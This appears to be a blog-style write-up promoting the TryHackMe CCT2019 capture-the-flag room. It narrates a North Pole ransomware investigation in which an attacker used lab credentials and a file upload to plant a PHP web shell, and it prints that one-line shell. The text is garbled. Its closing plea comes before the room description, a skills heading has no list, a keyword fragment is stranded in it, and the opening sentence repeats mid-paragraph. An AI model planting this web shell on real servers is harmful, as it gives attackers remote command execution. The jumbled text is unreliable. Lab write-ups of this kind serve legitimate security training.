It was December 2019, and the Cyber Security Challenge UK had just released a festive but fierce competition: the CCT (Cyber Christmas TryHackMe) 2019 box. For three weeks, aspiring defenders and seasoned pentesters logged into TryHackMe to help "save Christmas" by investigating a series of digital attacks on Santa’s workshop.
The TryHackMe CCT2019 room is a masterclass in intermediate-level penetration testing. It strips away fluff and presents a clean, logical chain: web enumeration → command injection → database pivot → SUID privilege escalation.
By completing this room, you don't just learn to "capture flags." You learn to think like an attacker and, more importantly, like a defender. Add this room to your learning path today, and you'll walk away with skills that translate directly to the field.
Ready to hack? Log into TryHackMe, search for "CCT2019," and spin up the machine. And remember—the enumeration you do in the first 20 minutes determines whether you finish in an hour or five. tryhackme cct2019
Have you completed the TryHackMe CCT2019 room? Share your favorite technique or the part where you got stuck in the comments below. Happy hacking!
The CCT2019 is structured as a narrative-driven challenge. Unlike standard "boot-to-root" machines, this event was divided into specific "Tasks," each acting as a standalone puzzle. The difficulty curve ranges from beginner-friendly logic puzzles to intermediate technical challenges.
Key Skills Tested:
You are a junior security analyst at the North Pole. On December 1st, the workshop’s main inventory system went offline. Files were encrypted, and a ransom note appeared: “Give me 100 Bitcoin or Christmas is cancelled.” But this wasn’t just ransomware—logs showed a sophisticated multi-stage intrusion.
Your mission: follow the digital breadcrumbs, uncover how the attacker got in, and recover the workshop’s data. The catch? You have 24 hours (in simulation time) before the encryption keys are destroyed.
Using elf:workshop2019, you log into SSH. You’re now on the system as a low-privileged elf. But the attacker wasn’t here yet—they used the same credentials to upload a malicious PHP script via the inventory portal’s file upload feature. It was December 2019, and the Cyber Security
You find the script in /var/www/html/uploads/shell.php. It’s a simple web shell:
<?php system($_GET['cmd']); ?>
This is how the attacker first executed commands as www-data.